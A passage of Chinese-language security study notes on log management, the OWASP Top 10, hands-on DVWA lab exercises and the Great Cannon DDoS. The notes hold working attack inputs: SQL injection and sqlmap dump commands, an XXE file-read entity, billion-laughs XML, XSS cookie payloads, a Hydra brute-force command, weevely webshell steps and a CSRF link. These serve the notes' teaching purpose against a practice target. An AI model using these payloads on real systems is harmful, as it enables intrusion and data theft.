目前有誰登入 w : 目前有誰登入 + 他們在幹嘛 JCPU : 同一個終端機下所有程序累績的執行時間 PCPU : WHAT 欄位所顯示的程序所顯示的程序累積的執行時間 WHAT : 表示目前正執行的工作 ::: - `/var/log/dmesg` - 所有 kernel ring buffer 的內容,包含開機訊息 - command : `dmesg` ![](https://i.imgur.com/vMWB5VQ.png) [開機 x 秒] `dmesg -T` ![](https://i.imgur.com/5uwwShl.png) - log 被修改/刪除? - `chattr +a <filename>` :::info chattr : 設定檔案隱藏屬性 > `a` : append only ([沒有 +a](https://linux.die.net/man/1/chattr)),只能增加資料,不能刪除&修改資料,只能 root 權限設定 ::: - 將 log 檔同步到只能寫一次的光碟/點陣式印表機 - 將 log 檔傳到其他台伺服器 (log server) ### logrotate * 將舊的登錄檔案移動成舊檔 ![](https://i.imgur.com/AqQLiIb.png) * `etc/cron.daily/logrotate` ![](https://i.imgur.com/ydHIFF0.png) * `/etc/logrotate.conf`、`/etc/logrotate.d/` ![](https://i.imgur.com/slk6znM.png) * `/etc/logrotate.d/rsyslog` ![](https://i.imgur.com/pEte8WJ.png) ``` 登錄檔的絕對路徑檔名 ... { 個別的參數設定值,如 monthly, compress 等等 } ``` :::info * `notifempty` : 如果記錄檔是空白,不會做輪替 * `delaycompress` : 延遲壓縮到下一次 rotate * `dateext` : 檔案補上 rotate 的日期 * 執行腳本:可呼叫外部指令來進行額外的命令下達,這個設定需與 `sharedscripts` & `endscript` 設定合用。可用的環境為: * `prerotate`:在啟動 logrotate 之前進行的指令,例如修改登錄檔的屬性等動作 * `postrotate`:在做完 logrotate 之後啟動的指令,例如重新啟動 (kill -HUP) 某個服務 ::: - 參考資料 [逼八的共筆₍₍٩( ᐛ )۶₎₎♪](https://hackmd.io/@ncnu-opensource/B17djyQs8) [鳥哥 認識與分析登錄檔](http://linux.vbird.org/linux_basic/0570syslog/0570syslog-centos5.php#syslogd_secure) [Log分析入門](https://github.com/sakura26/DADA/blob/master/log_analysis_intro.md) [Ubuntu系统日志分析](https://blog.csdn.net/qq_40907977/article/details/103063842) [CHAPTER 23. VIEWING AND MANAGING LOG FILES](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/system_administrators_guide/ch-viewing_and_managing_log_files) ## [OWASP 2017 Top 10 Web Application Security Risks](https://owasp.org/www-project-top-ten/) :::info OWASP : Open Web Application Security Project (開放網路軟體安全計畫) 只針對 web 開放社群 Web 相關安全問題,提供免費的文章,方法,文件,工具和技術 [OWASP top 10 github](https://github.com/OWASP/Top10) OWASP TOP 10 : 從攻擊難易、漏洞普遍性、漏洞可檢測性、影響等層面綜合評分排出前十威脅 ::: 1. Injection * 正常的輸入中,藏入奇怪的東西(指令或查詢之類的) ![](https://i.imgur.com/H4C4XKw.jpg) * 範例 : * SQL injection : ```sql= SELECT * FROM Account WHERE username='[帳號]' AND password ='[密碼]' ``` > 有漏洞的程式碼 ``` ID : ' or ''=' password : ' or ''=' ``` > 攻擊者輸入的值 ```sql= SELECT * FROM Account WHERE username='' or ''='' AND password= '' or ''='' ``` > 值輸入後的程式碼 * 影響 : 資料遺失、毀損 * 防禦 : * [Prepared statement 參數化](https://en.wikipedia.org/wiki/Prepared_statement) : 預先將指令準備好,將"指令"與"資料"互相隔離開來 EX : 創建模板並送到資料庫,未指定的值這裡以 `?` 標記 `INSERT INTO products (name, price) VALUES (?, ?);` 資料庫編譯但先不執行,在提供參數值後執行,因為程式碼已經編譯,所以輸入的值不會被當成是指令。 * 白名單 : 限制輸入的內容 EX : 資料長度、內容...(在 server 端設置) * 轉碼 : EX MD5, SHA1 (不會再要顯示出來的(密碼) 可以直接單向轉換比較安全) 2. Broken Authentication 無效的身分認證 * [高雄熊貓外送員鑽漏洞!盜同事帳號「冒名接單」](https://www.ettoday.net/news/20210317/1940180.htm#ixzz6rjGCge64) * 自動暴力破解、字典攻擊<br>猜測 Session ID、竊取 Session ID > [vanhauser-thc/thc-hydra](https://github.com/vanhauser-thc/thc-hydra) * 被攻擊實例 : 1. digital ocean ssh 被攻擊 * 登入失敗次數 `grep "Failed password" auth.log |wc -l` ![](https://i.imgur.com/jj6pGYA.png) * 簡單看一下登入失敗的紀錄 `grep "Failed password" auth.log` ![](https://i.imgur.com/mnbTOxI.png) * 查看登入成功的紀錄 `grep "password" /var/log/auth.log | grep -v Failed | grep -iv Invalid` ![](https://i.imgur.com/4XhZNgh.png) * 攻擊 ip 數量 `awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' auth.* | wc -l` ![](https://i.imgur.com/3kSZ5fM.png) * 攻擊次數排行 `awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' auth.* | sort -k2 -rn | head` ![](https://i.imgur.com/wqUJXUL.png) 2. session 超時設置不正確,在公共電腦訪問完網站關閉瀏覽器後,攻擊者使用同一個瀏覽器瀏覽,仍是在通過身分認證的狀態下。 * 弱點 : 弱密碼、session 管理 * 影響 : 帳密盜用 * 防禦 : 驗證密碼強度、密碼更換機制、加強 cookie 的安全性 * 參考資料 : [查找 ssh 暴力攻擊:使用 awk、grep 等命令簡單分析 auth log](https://segmentfault.com/a/1190000021752790) 3. Sensitive Data Exposure 敏感資料外洩 * 有些是直接竊取到明文的資料,有些則是竊取到加密過或 HASH 過的資料 :::info 加密 vs 雜湊 加密 : 將目標文字轉換成具有不同長度的、可逆的密文 雜湊 : 將目標文字轉換成具有相同長度的、不可逆的雜湊字串,被用在僅作驗證,不須還原 ::: * 弱點 : 敏感資料保護的措施不足,沒有加密/hash 或是不夠強 * 影響 : 盜用信用卡、竊取身分... * 防禦 : 以保護密碼為例,ex [salted](https://zh.wikipedia.org/wiki/%E7%9B%90_(%E5%AF%86%E7%A0%81%E5%AD%A6)) hashing functions 有效應對[彩虹表](https://zh.wikipedia.org/wiki/%E5%BD%A9%E8%99%B9%E8%A1%A8) * 彩虹表 : 一張原始值和 hash 結果的對照表,用來破解加密過的密碼雜湊,透過擷取封包或其他途徑取得密碼 hash 值,對照彩虹表破解密碼。 * 加鹽 : 在雜湊之前在雜湊內容的任意固定位置插入特定的字串,增加被暴力破解的難度,就算被破解了,破解的人拿到的字串也不會是密碼。 * 就算加鹽了也非絕對安全,也有可能被 GPU 暴力破解 參考資料 : [加密和雜湊](https://blog.m157q.tw/posts/2017/12/25/differences-between-encryption-and-hashing/) 4. [XML External Entities(XXE) xml 外部實體攻擊](https://zh.wikipedia.org/wiki/XML%E5%A4%96%E9%83%A8%E5%AE%9E%E4%BD%93%E6%94%BB%E5%87%BB) * [xml](https://zh.wikipedia.org/wiki/XML) : * 一種標記式語言, html 就是其中一種 xml * 實體 : 定義變量 * DTD (定義 XML 文件) * DTD 實體(定義變量) ```xml= <?xml version="1.0" encoding="ISO-8859-1"?> <!--xml聲明--> <!DOCTYPE test [ <!ELEMENT test ANY > <!--內部聲明--> <!ENTITY xxe SYSTEM "file:///etc/passwd" > <!--外部聲明--> ]> <!--文件類型定義--> <test>&xxe;</test> <!--文件元素--> ``` > 攻擊者直接透過 DTD 外部實體聲明來嘗試取得檔案資料 * 攻擊者在 XML 文件中加入惡意內容,鎖定 XML 處理器漏洞進行攻擊 * XML 處理器允許使用外部實體處理,攻擊者就可以自行定義一個實體名稱,並在實體內容中定義要伺服器做的行為,像是讀取本機資料夾中的密碼檔之類的 * 影響 : 提取數據、DoS 攻擊 ([Billion Laughs Attack](https://en.wikipedia.org/wiki/Billion_laughs_attack)) : ```XML= <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> ``` * 防禦 : * 禁止 XML 外部實體(引用),但 DoS 未必防得住 * 使用 SOAP 1.2 以上的標準,1.2 之前的版本沒有寫好,預設都有 XML 外部處理器漏洞(XXE)的風險 * 對輸入內容進行過濾(EX:<!DOCTYPE和<!ENTITY) :::info [SOAP (簡單協定)](https://zh.wikipedia.org/wiki/%E7%AE%80%E5%8D%95%E5%AF%B9%E8%B1%A1%E8%AE%BF%E9%97%AE%E5%8D%8F%E8%AE%AE) 機器之間調用資源的協定 格式是 XML 簡化網頁伺服器訊息傳遞的標準化格式 ::: * 參考資料 : https://www.digicentre.com.tw/industry_detail.php?id=38 https://www.cnblogs.com/r00tuser/p/7255939.html 5. Broken Access Control 無效的存取控管 - 利用 Web 本身的檔案讀取功能,任意存取系統的某一個檔案或資料 - 弱點 : 沒有對使用者輸入的參數值(EX:檔案)進行驗證,透過網址直接存取某個檔案 - EX : - `../etc/passwd` - `http://example.com/app/getappInfo` `http://example.com/app/admin_getappInfo` 未經身分驗證就可以連覽任意頁面、或是非管理者權限的用戶可以瀏覽管理頁面 - 影響 : 訪問任意紀錄、冒充其他使用者 - 防禦 : - 處理檔案或敏感性資料時,嚴格進行監控及身份權限驗證 - 除了公開資源,其餘檔案拒絕存取 - 關閉目錄列表 [參考資料](https://www.netsparker.com/blog/web-security/disable-directory-listing-web-servers/) 6. Security Misconfiguration 安全配置錯誤 - 系統啟用或安裝了非必要功能、系統預設帳密未更改、系統顯示的錯誤資訊已經包含敏感性個資... - 影響 : 使攻擊者能夠訪問擁有者不預期被看到的某些資料 - ex : 雲端共享權限 ![](https://i.imgur.com/djc7Q00.png) - 搭建最小化平台,不包含任何不必要的功能、組件,移除或不安裝不適用的功能和框架 - 檢查和修復安全配置項 - 不要開不必要的共享權限(只開最小權限 - 避免預設的密碼 7. [Cross-Site Scripting (XSS) 跨站攻擊](https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC) - 利用網頁開發時留下的漏洞,注入惡意程式碼到網頁,讓使用者在訪問該網頁時,同時會執行該惡意程式碼 (用**使用者**的 browser) - types 類型: - Reflected 應用程序或 API 包括未經驗證/轉譯的使用者輸入(含 JavaScript 代碼)引起的攻擊,主要用於將惡意程式碼附加到 URL 參數中,攻擊者誘使用戶訪問一個包含惡意代碼的 URL,URL 被提交至伺服器解析並響應,瀏覽器解析執行包含惡意程式碼的網頁。 一次性使用,不會對伺服器造成影響,系統管理者不易發現。 ![](https://i.imgur.com/piCYI9K.png) - Stored : severe - 未淨化的用戶輸入被儲存到資料庫,使之後的使用者遭到被保存在伺服器資料庫中的 JavaScript 惡意程式碼引起的攻擊 - 經常發生在有網站留言、評論,博客,日誌等用戶與伺服器數據交互的地方 - 在論壇文章中存入惡意程式碼,這些資料會被保存進資料庫中,之後連覽該網頁的使用者就會自動執行該惡意程式碼。 ![](https://i.imgur.com/ODiIDzZ.png) - DOM-based 網頁 javascript 可以對頁面 DOM 元素進行動態的檢查和修改,在執行過程中,沒有經過檢查&過濾,使操作 DOM 的過程中帶入惡意的程式碼 :::info DOM (Document Object Model),用以描述 HTML 文件的表示法,可以不透過伺服器,使用 JavaScript 讓網頁可以動態的變化。比如說顯示/隱藏一個元素,增加一個元素等等。 ::: ![](https://i.imgur.com/ifdyXUN.png) DOM 取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬於服務端的安全漏洞。 - 防禦 : - 使用可以自動編碼解決 XSS 問題的框架 EX : Ruby on Rails, React JS,並了解每個框架的侷限性,針對沒有涵蓋的部分作處理。 - 預處理不受信任的 HTML request - 識別使用者的 html 標籤,將其進行編碼(HTMLEncode),確保瀏覽器能安全地處理可能存在的惡意字符,將其當作 HTML 文件而非指令 EX : `<` 轉換為 `&lt`、`>` 轉換為 `&gt` - 針對 DOM 型的 XSS,在使用者端修改瀏覽器文件時,實施上下文敏感資料編碼,像是 JavaScript 中常用的編碼轉碼函數 : `escape(),encodeURI(),encodeURIComponent()` - 使用內容安全策略(CSP) : 以白名單的方式創建規則,指定可執行的 script 來源,管理允許加載的內容。 `Content-Security-Policy: policy` ex : `Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com; script-src userscripts.example.com` :::info - 所有內容來自網站本身 - 圖片可以來自所有地方 - 媒體僅允許來自 media1.com - 執行腳本只能來自 userscripts.example.com ::: * 缺點 : EVAL 及相關函數被禁止使用、內嵌的 JS 程式碼不會執行、只能用白名單的方式載入其他來源的 script - 參考資料 : https://gauravnarwani.com/a-tale-of-3-xss/ https://www.f4guo.top/2019/11/19/XSS/ https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP https://www.twblogs.net/a/5d2229afbd9eee1ede067063 8. Insecure Deserialization 不安全的反序列化漏洞 ![](https://i.imgur.com/lQpIqxk.png) > [圖片來源](https://portswigger.net/web-security/deserialization) 序列化 : 將物件狀態轉換為可取用格式的格式 - 攻擊者傳送惡意資料,讓網站進行反序列化時出問題 - 影響 : 遠端程式碼執行(RCE)、越權攻擊... :::info 遠端程式碼執行(Remote Code Execution) : 因為服務器端沒有針對執行函數進行過濾,讓攻擊者可以透過瀏覽器提交惡意指令讓服務器端執行。 ::: - 修改被序列化完的內容 : ![](https://i.imgur.com/vlmMwoZ.png) 攻擊者更改序列化完的內容,讓伺服器在反序列化時得到不一樣的物件,藉此得到 admin 的權限 - 防禦 : - 不接受來自不明來源的序列化對象 - 針對任何序列化的物件,在反序列化之前落實完整性的檢查。如:數位簽章,防止惡意物件的建立或資料被篡改。 - 參考資料 : * https://portswigger.net/web-security/deserialization * [額外補充~](https://www.php.net/manual/en/language.oop5.magic.php) 9. Using Components with Known Vulnerabilities 使用已有漏洞的元件 - 元件 : 函示庫、框架以及其他的軟體模組... - 防護 : - 針對已使用的套件定期做版本更新 - 刪除未使用的項目,不必要的功能、組件、檔案… - 追蹤分享最新漏洞的 [CVE](https://cve.mitre.org/) 和緩解技術/修復程式的論壇 - github/gitlab 有一些自動工具可以掃描是否有使用到已知的有漏洞的函式庫/模組 :::info [(CVE, Common Vulnerabilities and Exposures)](https://zh.wikipedia.org/wiki/%E5%85%AC%E5%85%B1%E6%BC%8F%E6%B4%9E%E5%92%8C%E6%9A%B4%E9%9C%B2) **公共**漏洞與暴露,一個與資訊安全有關的資料庫,收集各種資安弱點及漏洞並給予編號以便於公眾查閱。 CVE-YYYY-NNNNN * 相關網站 : * [Exploit DB](https://www.exploit-db.com/) : 漏洞資料庫 (~~攻擊工具~~) * [CVE](https://cve.mitre.org/index.html) : 漏洞資料庫 ex : [root 權限漏洞](https://nvd.nist.gov/vuln/detail/CVE-2021-3156) * [Shodan](https://www.shodan.io/) : 搜索在線的設備 (~~攻擊目標~~) ::: 10. Insufficient Logging & Monitoring 紀錄與監控不足風險 - 降低被入侵時的反應時間,記錄&監視所有活動,是否有可疑行為,EX : - 大量特定來源的失敗登入嘗試 - 大量特定來源請求 - 突然無預警的流量高峰 - 確保所有登入、訪問失敗、輸入驗證失敗等訊息都有被記錄 - 建立有效的監控&警告機制 參考資料 : https://yakimhsu.com/project/project_w11_Info_Security-Session.html ## DVWA ### 安裝 1. [VM 下載](https://www.vulnhub.com/entry/damn-vulnerable-web-application-dvwa-107,43/) 2. [docker](https://hub.docker.com/r/vulnerables/web-dvwa) > docker run --rm -it -p 80:80 vulnerables/web-dvwa * DVWA IP : 104.236.200.208:80 Username : admin Passwod : password 3. xampp 安裝 1. 安裝 xampp 1. 下載 `wget https://www.apachefriends.org/xampp-files/7.3.27/xampp-linux-x64-7.3.27-1-installer.run` 2. 將檔案移至 `/opt` `sudo mv xampp-linux-x64-7.3.27-1-installer.run /opt/` 3. 安裝 `chmod 755 xampp-linux-x64-7.3.27-1-installer.run` `sudo ./xampp-linux-x64-7.3.27-1-installer.run` 4. 啟動 `sudo /opt/lampp/lampp start` 2. 下載&解壓縮 dvwa : https://dvwa.co.uk/ 3. 將 dvwa 的資料夾移動到 `htdocs` 目錄 `sudo mv /home/zero/Downloads/DVWA-master/ /opt/lampp/htdocs/DVWA/` 4. 將 `/dvwa/config` 中 `config.inc.php.dist` 更名為 `config.inc.php` `sudo mv config.inc.php.dist config.inc.php` 5. 修改 `/dvwa/config/config.inc.php` ![](https://i.imgur.com/XnzNk2D.png) 6. setup check ![](https://i.imgur.com/cJcol0y.png) - 修改 `allow_url_include=off` 為 `allow_url_include=on` `sudo vim /opt/lampp/etc/php.ini` - 修改 <font color=red>no</font> 的檔案權限 : `sudo chmod 777 /opt/lampp/htdocs/DVWA/hackable/uploads/` `sudo chmod 777 /opt/lampp/htdocs/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.tex` `sudo chmod 777 /opt/lampp/htdocs/DVWA/config/` 7. 重啟 `sudo /opt/lampp/lampp restart` 8. creat/reset database 9. login :::info 預設帳號密碼 : Username : admin Passwod : password ::: ### 練習 #### brute force * 使用 hydra (失敗QAQ) `sudo apt install hydra` [可用的字典檔](https://github.com/duyet/bruteforce-database) `hydra -L /home/zero/Downloads/username.txt -P /home/zero/Downloads/password.txt 104.236.200.208 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect"` * 使用 Burp Suite (需要 java 執行環境) [Burp Suite Download](https://portswigger.net/burp/communitydownload) :::info set up : 修改權限 `chmod +x burpsuite_community_linux_v2021_4_2.sh` 執行檔案 `./burpsuite_community_linux_v2021_4_2.sh` 相關參考 : [Install burp suite on linux/ubuntu](https://delhitrainingcourses.com/blog/install-burp-suite-on-linux-ubuntu/) ::: ![](https://i.imgur.com/KiIAuFb.png) > 攔截封包後設置帳號密碼兩個參數並加入字典檔案 ![](https://i.imgur.com/yjLLb2j.png) > 發現 Content-Length 不同(通常登入成功&失敗的長度會不一樣),察看結果確認其為正確帳號密碼 ![](https://i.imgur.com/hL0sOqR.png) :::info [attack type](https://portswigger.net/burp/documentation/desktop/tools/intruder/positions) [Web 安全工具篇:Burp Suite 使用指南](https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/619010/) [Web滲透測試 – Burp Suite 完整教學系列](https://www.hackercat.org/burp-suite-tutorial/web-pentesting-burp-suite-total-tutorial) ::: #### command injection `stristr(string, search)` : 搜尋字符串在另一個字符串中第一次出現 `php_uname( 's' )` : php 操作系統的描述,`s` : 操作系統名稱 `shell_exec($cmd)` : 通過 shell 執行命令並以字符串形式返回完整輸出 #### CSRF(Cross-site request forgery) 跨站請求偽造 : 利用受害者尚未失效的身分驗證訊息(ex cookie),誘使其點擊/使用含有惡意程式碼的 url/網站,在受害者不知情的情況下像伺服器發出請求,從而完成非法操作(ex 轉帳、改密) [點我(digital ocean)](http://104.236.200.208/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#) [點我(vm)](http://localhost/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#) #### file inclution 伺服器開啟 `allow_url_include` 選項,就可以透過一些 php 函數(ex include()、require()...)利用 url 去動態包含檔案,如果沒有對檔案來源進行慎審查,就可能導致任意檔案被讀取。 ex : `../../php.ini`, `../../../etc/passwd`(`../`可以一直加反正最多回到根目錄) :::warning 如果 allow_url_include 沒開 `find / -name php.ini` 將 `allow_url_include` 改成 on 重啟伺服器 ::: * 目錄掃描工具 : * [DirBuster](https://sourceforge.net/projects/dirbuster/files/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/) (需要 java 環境) [java 環境安裝&設定](https://clay-atlas.com/blog/2019/10/27/ubuntu-install-java-jdk/?doing_wp_cron=1619634811.4033620357513427734375) * `cd /opt/dirbuster` * `./DirBuster-1.0-RC1.sh` ![](https://i.imgur.com/oZ8VAtm.png) ![](https://i.imgur.com/TTdfc29.png) > 302 : 臨時重定向文件 > 200 : 文件存在並能夠讀取 > 401 : 需要權限 > 403 : 請求有效但伺服器拒絕響應 > [重定向參考](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Redirections) #### file upload 伺服器沒有對上傳的檔案進行過濾&檢查,使攻擊者可以透過上傳木馬獲取 webshell 權限。 :::info webshell : 以檔案形式存在的命令執行環境,也可以視為一種網頁後門,透過此後門控制網站伺服器,像是任意查看資料庫、增改檔案、執行程序命令等等。 ::: * [weevely](https://github.com/epinna/weevely3/wiki/Install) 一個 python 編寫的 webshell 工具,需要 python3 [Linux下進行Python版本切換](https://cvfiasd.pixnet.net/blog/post/283822860-linux%E4%B8%8B%E9%80%B2%E8%A1%8Cpython%E7%89%88%E6%9C%AC%E5%88%87%E6%8F%9B) :::warning 各種報錯&解決 <font color=red>no module named prettytable</font> `pip install prettytable==1.0.1` <font color=red>no module named yaml</font> `pip3 install pyyaml` <font color=red>no module named socks</font> `curl https://bootstrap.pypa.io/pip/3.5/get-pip.py -o get-pip.py` `python3 get-pip.py --force-reinstall` `pip install pysocks` <font color=red>no module named dateutil</font> `pip3 install python-dateutil` ::: * start use `./weevely.py generate <password> <filename>` `./weevely.py http://104.236.200.208/hackable/uploads/test2.php test2` ![](https://i.imgur.com/Bi2NkuX.png) ![](https://i.imgur.com/Mkb48Bt.png) * othrer php webshell * [easy-simple-php-webshell.php](https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985) #### Insecure CAPTCHA [google reCAPTCHA 申請](https://www.google.com/recaptcha/admin/create) * 不安全的驗證流程 ![](https://i.imgur.com/2yuEI0d.png) ![](https://i.imgur.com/IMbrSP1.png) > 攔截封包,修改 step=2 再 forward 出去 ![](https://i.imgur.com/jCMhPAK.png) #### sql injection * 判斷是否存在注入,注入的類型是字符型還是數字型(是否有引號) `1`、`1 or 1=1 #`、`1' or 1=1 #` `select * from table where id='$id'` `select * from table where id='1' or 1=1 #'` * 猜解欄位數 `1' or 1=1 order by 1 #`... * 得到當前資料庫 `1' union select 1,database() #` :::info union 合併兩個以上的 select 結果 需擁有相同欄位數 ::: * 得到 table ```graphviz digraph hierarchy { nodesep=1.0 // increases the separation between nodes node [color=blue,fontname=Courier,shape=box] //All nodes will this shape and colour edge [color=Blue, style=dashed] //All the lines look like this information_schema->{tables columns} tables->{table_schema、tables_name} columns->{tables_name、column_name} {rank=same;tables_name、column_name table_schema、tables_name} // Put them on the same level } ``` `1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=dvwa #` * 得到 table 中的欄位名 `1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #` * 得到使用者資訊 `1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #` #### sql injection(blind) * use and test true or false `1' and length(database())=1#` `1' and ascii(substr(database(),1,1))=100 # 也可用二分法>、<做測試` * sqlmap (需要 python 2.6 or 2.7) `sudo apt install sqlmap` * use * `sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=96dd1f8d5105a7883a830497cfe88f2e" --batch --dbs` ![](https://i.imgur.com/9pi2ksq.png) * `sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=96dd1f8d5105a7883a830497cfe88f2e" --batch -D dvwa --tables` ![](https://i.imgur.com/Xln7It0.png) * `sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=96dd1f8d5105a7883a830497cfe88f2e" --batch -D dvwa -T users --columns` ![](https://i.imgur.com/xfUYw5c.png) * `sqlmap -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=96dd1f8d5105a7883a830497cfe88f2e" --batch -D dvwa -T users -C "user,password" --dump` ![](https://i.imgur.com/lOzyrif.png) * 參考資料 : [SQLMap使用攻略及技巧分享](https://tw511.com/a/01/7684.html) #### Weak Session IDs http 為無連接的協議,使用者在使用網站時,伺服器無法確認使用者身分;因此伺服器在一開始連線時,給每個使用者一個 session ID,之後使用者將 session ID 存在 cookie 上,拿著 cookie 訪問網站,伺服器就可以辨識該使用者的身分。 * hackbar 打開新的瀏覽器(ex : Chrome),用擴充套件 Hackbar 使用 session id 繞過密碼進入網頁 ![](https://i.imgur.com/fgqLWgD.png) #### XSS(DOM) 沒有任何過濾,可以直接修改 url `<script>alert(document.cookie)</script>` #### XSS(Reflected) 沒有過濾,可以直接輸入指令 ex : `<script>alert(document.cookie)</script>` #### XSS(Stored) `<script>alert(document.cookie)</script>` #### Content Security Policy (CSP) Bypass 使用白名單中的來源 ex : [pastebin](https://pastebin.com) 使用本地來源 : 在 `/var/www/html/vulnerabilities/csp/` 中加入 test file #### JavaScript token 不對 : 修改 token 為 success 的 token(可用 `alert(md5(rot13("success")))` 查看) ### 參考資料 - [在 Linux 平台安裝 XAMPP](https://polinwei.com/linux-install-xampp/) - [新手指南:手把手教你如何搭建自己的渗透測試環境](https://www.freebuf.com/sectool/102661.html) - [基于Ubuntu系统XAMPP环境安装以及DVWA渗透测试系统安装](https://www.yuanmas.com/info/l3zd10Jda9.html) - [DVWA reCAPTCHA key: Missing解决方法](https://blog.csdn.net/RBPicsdn/article/details/80059132) - [dvwa安裝和使用指南](https://www.twblogs.net/a/5c6fe5f6bd9eee7f0733b490) - [SQL Injection](https://www.freebuf.com/articles/web/120747.html) ## [大砲 (Great Cannon)](https://zh.wikipedia.org/wiki/%E5%A4%A7%E7%82%AE_(%E7%BD%91%E7%BB%9C%E6%94%BB%E5%87%BB%E5%B7%A5%E5%85%B7)) - 對岸政府的一種網路攻擊工具 - 針對特定目的 ip ,攔截流量發動 DDoS 攻擊 > 中國政府在主骨幹做這件事 > 只有維尼有 > 先設定受害網站 所有人(有可能是牆內 or 牆外)連到某網站都會攻擊 ### 針對 Github - 2015 年 3 月 26 日至 31 日藉由中間者攻擊 & DDoS 對 GitHub 發起網路攻擊 - 含有 GreatFire (提供了規避中國網路審查制度的工具) & 紐約時報 網站的副本 - 攔截中國境外對百度的請求封包並注入惡意 js,每隔 2 秒載入一次 GreatFire 或紐約時報中文網的帳號主頁 #### 調查 - ttl ![](https://i.imgur.com/nJEJ2HQ.png) > [圖片來源](https://blog.erratasec.com/2015/04/pin-pointing-chinas-attack-against.html#.YHVGYOgzZ-X) :::info ttl(time to live) : 大部分預設是 64 經過一個節點 就會-1 > 看到 ttl 異常值 > 檢查封包 > 發現有惡意程式碼 ::: > 在穩定的 ttl 值中發現異常的 ttl 值 - traceroute ![](https://i.imgur.com/wDm2yUU.png) > [圖片來源](https://blog.erratasec.com/2015/04/pin-pointing-chinas-attack-against.html#.YHVGYOgzZ-X) > 得到封包的路徑 :::info [traceroute](https://zh.wikipedia.org/wiki/Traceroute) : 顯示封包經過的 router 的 IP address 的工具 linux : tracepath 窗戶 : tracert 運作方式 : 每經過一個 router,ttl-1,ttl=0 時,丟掉封包並傳送一個 ICMP ttl 封包給發出者。 從 ttl=1 開始,依序往上加傳送封包,取得沿途閘道器的 IP address ::: ![](https://i.imgur.com/uRdQtS4.png) > [圖片來源](https://blog.erratasec.com/2015/04/pin-pointing-chinas-attack-against.html#.YHVGYOgzZ-X) 尋找惡意程式碼的來源 ip 自製 traceroute,建立了一個正常的 ttl 連線,讓他去抵達目標 ip,設一個小個 ttl 值,抵達目標 ip 前先 drop,送出 web request 注入攻擊的位址在 11 跳& 12 跳間 查看 IP Address,可以證明中間人設備位於中國聯通骨幹網 ### 其他 - 2015年4月26日,大炮對開放原始碼網站 wpkg.org 與旅遊網站 ptraveler.com 發動了攻擊,凡是用中國 IP 瀏覽嵌入了 Facebook Connect 按鈕指令碼的網站,皆會被重新導向至這兩個網站。 ### 參考資料 * [China’s Great Cannon](https://citizenlab.ca/2015/04/chinas-great-cannon/?fbclid=IwAR3vmG4VmStNpv6B1c_Ae8NSVWPu91AGSGVyMQ8U9zO2rEc9e_I6llAVpOA#10) * [Pin-pointing China's attack against GitHub](https://blog.erratasec.com/2015/04/pin-pointing-chinas-attack-against.html#.YHVGYOgzZ-X) * [中國網路大砲又爆新招,綁架Facebook登入服務流量作為DDoS攻擊子彈](https://www.facebook.com/netwargame/posts/837166726332179) * [公民實驗室發表研究中國網路攻擊新技術 ~ Great Cannon](https://www.facebook.com/netwargame/posts/828150007233851) ## [DoS(Denial of Service)](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A) & DDoS(Distributed Denail of Service) * 攻擊者傳送大量攻擊請求/封包,消耗被攻擊者的網路頻寬及系統資源,導致被攻擊者**無法提供正常服務**。 * 通常發生在第 3/4/7 層網路 ![](https://i.imgur.com/WbB9etM.png) * DDoS : 分散式阻斷服務攻擊,使用大量的攻擊來源 * 症狀 